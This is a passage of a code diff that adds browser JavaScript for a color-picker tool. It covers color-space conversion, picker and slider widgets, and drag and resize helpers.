+			this.format = 'HSV';
+		if (format === 'HSL')
+			this.format = 'HSL';
+	};
+
+	/*========== Methods to set Color Properties ==========*/
+
+	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+		return (typeof(value) === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 255);
+	};
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (this.isValidRGBValue(red) === false ||
+			this.isValidRGBValue(green) === false ||
+			this.isValidRGBValue(blue) === false)
+			return;
+
+			this.r = red | 0;
+			this.g = green | 0;
+			this.b = blue | 0;
+
+		if (this.isValidRGBValue(alpha) === true)
+			this.a = alpha | 0;
+	};
+
+	Color.prototype.setByName = function setByName(name, value) {
+		if (name === 'r' || name === 'g' || name === 'b') {
+			if(this.isValidRGBValue(value) === false)
+				return;
+
+			this[name] = value;
+			this.updateHSX();
+		}
+	};
+
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.lightness = lightness;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHue = function setHue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 359)
+			return;
+		this.hue = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setSaturation = function setSaturation(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.saturation = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setValue = function setValue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setLightness = function setLightness(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.lightness = value;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+		this.RGBtoHSV();
+	};
+
+	/*========== Conversion Methods ==========*/
+
+	Color.prototype.convertToHSL = function convertToHSL() {
+		if (this.format === 'HSL')
+			return;
+
+		this.setFormat('HSL');
+		this.RGBtoHSL();
+	};
+
+	Color.prototype.convertToHSV = function convertToHSV() {
+		if (this.format === 'HSV')
+			return;
+
+		this.setFormat('HSV');
+		this.RGBtoHSV();
+	};
+
+	/*========== Update Methods ==========*/
+
+	Color.prototype.updateRGB = function updateRGB() {
+		if (this.format === 'HSV') {
+			this.HSVtoRGB();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.HSLtoRGB();
+			return;
+		}
+	};
+
+	Color.prototype.updateHSX = function updateHSX() {
+		if (this.format === 'HSV') {
+			this.RGBtoHSV();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.RGBtoHSL();
+			return;
+		}
+	};
+
+	Color.prototype.HSVtoRGB = function HSVtoRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.HSLtoRGB = function HSLtoRGB() {
+		var sat = this.saturation / 100;
+		var light = this.lightness / 100;
+		var C = sat * (1 - Math.abs(2 * light - 1));
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = light - C/2;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.RGBtoHSV = function RGBtoHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	};
+
+	Color.prototype.RGBtoHSL = function RGBtoHSL() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+		var lightness = (cmax + cmin) / 2;
+		var X = (1 - Math.abs(2 * lightness - 1));
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / X;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.lightness = (lightness * 100) | 0;
+	};
+
+	/*========== Get Methods ==========*/
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	};
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+		var a = '';
+		var v = '';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'rgb' + a + rgb + v + ')';
+		return value;
+	};
+
+	Color.prototype.getHSLA = function getHSLA() {
+		if (this.format === 'HSV') {
+			var color = new Color(this);
+			color.setFormat('HSL');
+			color.updateHSX();
+			return color.getHSLA();
+		}
+
+		var a = '';
+		var v = '';
+		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'hsl' + a + hsl + v + ')';
+		return value;
+	};
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	};
+
+	/*=======================================================================*/
+	/*=======================================================================*/
+
+	/*========== Capture Mouse Movement ==========*/
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener('mousedown', function(e) {
+			callback(e);
+			document.addEventListener('mousemove', callback);
+		});
+
+		document.addEventListener('mouseup', function(e) {
+			document.removeEventListener('mousemove', callback);
+		});
+	};
+
+	/*====================*/
+	// Color Picker Class
+	/*====================*/
+
+	function ColorPicker(node) {
+		this.color = new Color();
+		this.node = node;
+		this.subscribers = [];
+
+		var type = this.node.getAttribute('data-mode');
+		var topic = this.node.getAttribute('data-topic');
+
+		this.topic = topic;
+		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+		this.color.setFormat(this.picker_mode);
+
+		this.createPickingArea();
+		this.createHueArea();
+
+		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+		this.createAlphaArea();
+
+		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+		this.createPreviewBox();
+		this.createChangeModeButton();
+
+		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+		this.setColor(this.color);
+		pickers[topic] = this;
+	}
+
+	/*************************************************************************/
+	//				Function for generating the color-picker
+	/*************************************************************************/
+
+	ColorPicker.prototype.createPickingArea = function createPickingArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'picking-area';
+		picker.className = 'picker';
+
+		this.picking_area = area;
+		this.color_picker = picker;
+		setMouseTracking(area, this.updateColor.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createHueArea = function createHueArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'hue';
+		picker.className ='slider-picker';
+
+		this.hue_area = area;
+		this.hue_picker = picker;
+		setMouseTracking(area, this.updateHueSlider.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+		var area = document.createElement('div');
+		var mask = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'alpha';
+		mask.className = 'alpha-mask';
+		picker.className = 'slider-picker';
+
+		this.alpha_area = area;
+		this.alpha_mask = mask;
+		this.alpha_picker = picker;
+		setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+		area.appendChild(mask);
+		mask.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+		var preview_box = document.createElement('div');
+		var preview_color = document.createElement('div');
+
+		preview_box.className = 'preview';
+		preview_color.className = 'preview-color';
+
+		this.preview_color = preview_color;
+
+		preview_box.appendChild(preview_color);
+		this.node.appendChild(preview_box);
+	};
+
+	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+		var wrapper = document.createElement('div');
+		var input = document.createElement('input');
+		var info = document.createElement('span');
+
+		wrapper.className = 'input';
+		wrapper.setAttribute('data-topic', topic);
+		info.textContent = title;
+		info.className = 'name';
+		input.setAttribute('type', 'text');
+
+		wrapper.appendChild(info);
+		wrapper.appendChild(input);
+		this.node.appendChild(wrapper);
+
+		input.addEventListener('change', onChangeFunc);
+		input.addEventListener('click', function() {
+			this.select();
+		});
+
+		this.subscribe(topic, function(value) {
+			input.value = value;
+		});
+	};
+
+	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+		var button = document.createElement('div');
+		button.className = 'switch_mode';
+		button.addEventListener('click', function() {
+			if (this.picker_mode === 'HSV')
+				this.setPickerMode('HSL');
+			else
+				this.setPickerMode('HSV');
+
+		}.bind(this));
+
+		this.node.appendChild(button);
+	};
+
+	/*************************************************************************/
+	//					Updates properties of UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updateColor = function updateColor(e) {
+		var x = e.pageX - this.picking_area.offsetLeft;
+		var y = e.pageY - this.picking_area.offsetTop;
+		var picker_offset = 5;
+
+		// width and height should be the same
+		var size = this.picking_area.clientWidth;
+
+		if (x > size) x = size;
+		if (y > size) y = size;
+		if (x < 0) x = 0;
+		if (y < 0) y = 0;
+
+		var value = 100 - (y * 100 / size) | 0;
+		var saturation = x * 100 / size | 0;
+
+		if (this.picker_mode === 'HSV')
+			this.color.setHSV(this.color.hue, saturation, value);
+		if (this.picker_mode === 'HSL')
+			this.color.setHSL(this.color.hue, saturation, value);
+
+		this.color_picker.style.left = x - picker_offset + 'px';
+		this.color_picker.style.top = y - picker_offset + 'px';
+
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('value', value);
+		this.notify('lightness', value);
+		this.notify('saturation', saturation);
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+		var x = e.pageX - this.hue_area.offsetLeft;
+		var width = this.hue_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		// TODO 360 => 359
+		var hue = ((359 * x) / width) | 0;
+		// if (hue === 360) hue = 359;
+
+		this.updateSliderPosition(this.hue_picker, x);
+		this.setHue(hue);
+	};
+
+	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+		var x = e.pageX - this.alpha_area.offsetLeft;
+		var width = this.alpha_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		this.color.a = (x / width).toFixed(2);
+
+		this.updateSliderPosition(this.alpha_picker, x);
+		this.updatePreviewColor();
+
+		this.notify('alpha', this.color.a);
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setHue = function setHue(value) {
+		this.color.setHue(value);
+
+		this.updatePickerBackground();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+		this.notify('hue', this.color.hue);
+
+		notify(this.topic, this.color);
+	};
+
+	// Updates when one of Saturation/Value/Lightness changes
+	ColorPicker.prototype.updateSLV = function updateSLV() {
+		this.updatePickerPosition();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	/*************************************************************************/
+	//				Update positions of various UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+		var size = this.picking_area.clientWidth;
+		var value = 0;
+		var offset = 5;
+
+		if (this.picker_mode === 'HSV')
+			value = this.color.value;
+		if (this.picker_mode === 'HSL')
+			value = this.color.lightness;
+
+		var x = (this.color.saturation * size / 100) | 0;
+		var y = size - (value * size / 100) | 0;
+
+		this.color_picker.style.left = x - offset + 'px';
+		this.color_picker.style.top = y - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+		elem.style.left = Math.max(pos - 3, -2) + 'px';
+	};
+
+	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+		var size = this.hue_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.hue * size / 360 ) | 0;
+		this.hue_picker.style.left = pos - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+		var size = this.alpha_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.a * size) | 0;
+		this.alpha_picker.style.left = pos - offset + 'px';
+	};
+
+	/*************************************************************************/
+	//						Update background colors
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+		var nc = new Color(this.color);
+		nc.setHSV(nc.hue, 100, 100);
+		this.picking_area.style.backgroundColor = nc.getHexa();
+	};
+
+	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+		this.alpha_mask.style.backgroundColor = this.color.getHexa();
+	};
+
+	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+		this.preview_color.style.backgroundColor = this.color.getColor();
+	};
+
+	/*************************************************************************/
+	//						Update input elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+		var value = parseInt(e.target.value);
+		this.setHue(value);
+		this.updateHuePicker();
+	};
+
+	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+		var value = parseInt(e.target.value);
+		this.color.setSaturation(value);
+		e.target.value = this.color.saturation;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setValue(value);
+		e.target.value = this.color.value;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+		var value = parseInt(e.target.value);
+		this.color.setLightness(value);
+		e.target.value = this.color.lightness;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('r', value);
+		e.target.value = this.color.r;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('g', value);
+		e.target.value = this.color.g;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('b', value);
+		e.target.value = this.color.b;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+		var value = parseFloat(e.target.value);
+
+		if (typeof value === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 1)
+			this.color.a = value.toFixed(2);
+
+		e.target.value = this.color.a;
+		this.updateAlphaPicker();
+	};
+
+	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+		var value = e.target.value;
+		this.color.setHexa(value);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//							Internal Pub/Sub
+	/*************************************************************************/
+
+	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+		this.subscribers[topic] = callback;
+	};
+
+	ColorPicker.prototype.notify = function notify(topic, value) {
+		if (this.subscribers[topic])
+			this.subscribers[topic](value);
+	};
+
+	/*************************************************************************/
+	//							Set Picker Properties
+	/*************************************************************************/
+
+	ColorPicker.prototype.setColor = function setColor(color) {
+		if(color instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		if (color.format !== this.picker_mode) {
+			color.setFormat(this.picker_mode);
+			color.updateHSX();
+		}
+
+		this.color.copy(color);
+		this.updateHuePicker();
+		this.updatePickerPosition();
+		this.updatePickerBackground();
+		this.updateAlphaPicker();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+
+		this.notify('hue', this.color.hue);
+		this.notify('saturation', this.color.saturation);
+		this.notify('value', this.color.value);
+		this.notify('lightness', this.color.lightness);
+
+		this.notify('alpha', this.color.a);
+		this.notify('hexa', this.color.getHexa());
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+		if (mode !== 'HSV' && mode !== 'HSL')
+			return;
+
+		this.picker_mode = mode;
+		this.node.setAttribute('data-mode', this.picker_mode);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//								UNUSED
+	/*************************************************************************/
+
+	var setPickerMode = function setPickerMode(topic, mode) {
+		if (pickers[topic])
+			pickers[topic].setPickerMode(mode);
+	};
+
+	var setColor = function setColor(topic, color) {
+		if (pickers[topic])
+			pickers[topic].setColor(color);
+	};
+
+	var getColor = function getColor(topic) {
+		if (pickers[topic])
+			return new Color(pickers[topic].color);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(callback) {
+		subscribers.indexOf(callback);
+		subscribers.splice(index, 1);
+	};
+
+	var notify = function notify(topic, value) {
+		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+			return;
+
+		var color = new Color(value);
+		for (var i in subscribers[topic])
+			subscribers[topic][i](color);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-color-picker');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new ColorPicker(elem[i]);
+	};
+
+	return {
+		init : init,
+		Color : Color,
+		RGBColor : RGBColor,
+		RGBAColor : RGBAColor,
+		HSVColor : HSVColor,
+		HSVAColor : HSVAColor,
+		HSLColor : HSLColor,
+		HSLAColor : HSLAColor,
+		setColor : setColor,
+		getColor : getColor,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPickerMode : setPickerMode
+	};
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision >= 0 ? precision : 0;
+		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value > 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+	ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+	/*========== Get DOM Element By ID ==========*/
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	function allowDropEvent(e) {
+		e.preventDefault();
+	}
+
+	/*========== Make an element resizable relative to it's parent ==========*/
+
+	var UIComponent = (function UIComponent() {
+
+		function makeResizable(elem, axis) {
+			var valueX = 0;
+			var valueY = 0;
+			var action = 0;
+
+			var resizeStart = function resizeStart(e) {
+				e.stopPropagation();
+				e.preventDefault();
+				if (e.button !== 0)
+					return;
+
+				valueX = e.clientX - elem.clientWidth;
+				valueY = e.clientY - elem.clientHeight;
+
+				document.body.setAttribute('data-resize', axis);
+				document.addEventListener('mousemove', mouseMove);
+				document.addEventListener('mouseup', resizeEnd);
+			};
+
+			var mouseMove = function mouseMove(e) {
+				if (action >= 0)
+					elem.style.width = e.clientX - valueX + 'px';
+				if (action <= 0)
+					elem.style.height = e.clientY - valueY + 'px';
+			};
+
+			var resizeEnd = function resizeEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.body.removeAttribute('data-resize', axis);
+				document.removeEventListener('mousemove', mouseMove);
+				document.removeEventListener('mouseup', resizeEnd);
+			};
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			if (axis === 'width') action = 1;
+			else if (axis === 'height') action = -1;
+			else axis = 'both';
+
+			handle.className = 'resize-handle';
+			handle.setAttribute('data-resize', axis);
+			handle.addEventListener('mousedown', resizeStart);
+			elem.appendChild(handle);
+		};
+
+		/*========== Make an element draggable relative to it's parent ==========*/
+
+		var makeDraggable = function makeDraggable(elem, endFunction) {
+
+			var offsetTop;
+			var offsetLeft;
+
+			elem.setAttribute('data-draggable', 'true');
+
+			var dragStart = function dragStart(e) {
+				e.preventDefault();
+				e.stopPropagation();
+
+				if (e.target.getAttribute('data-draggable') !== 'true' ||
+					e.target !== elem || e.button !== 0)
+					return;
+
+				offsetLeft = e.clientX - elem.offsetLeft;
+				offsetTop = e.clientY - elem.offsetTop;
+
+				document.addEventListener('mousemove', mouseDrag);
+				document.addEventListener('mouseup', dragEnd);
+			};
+
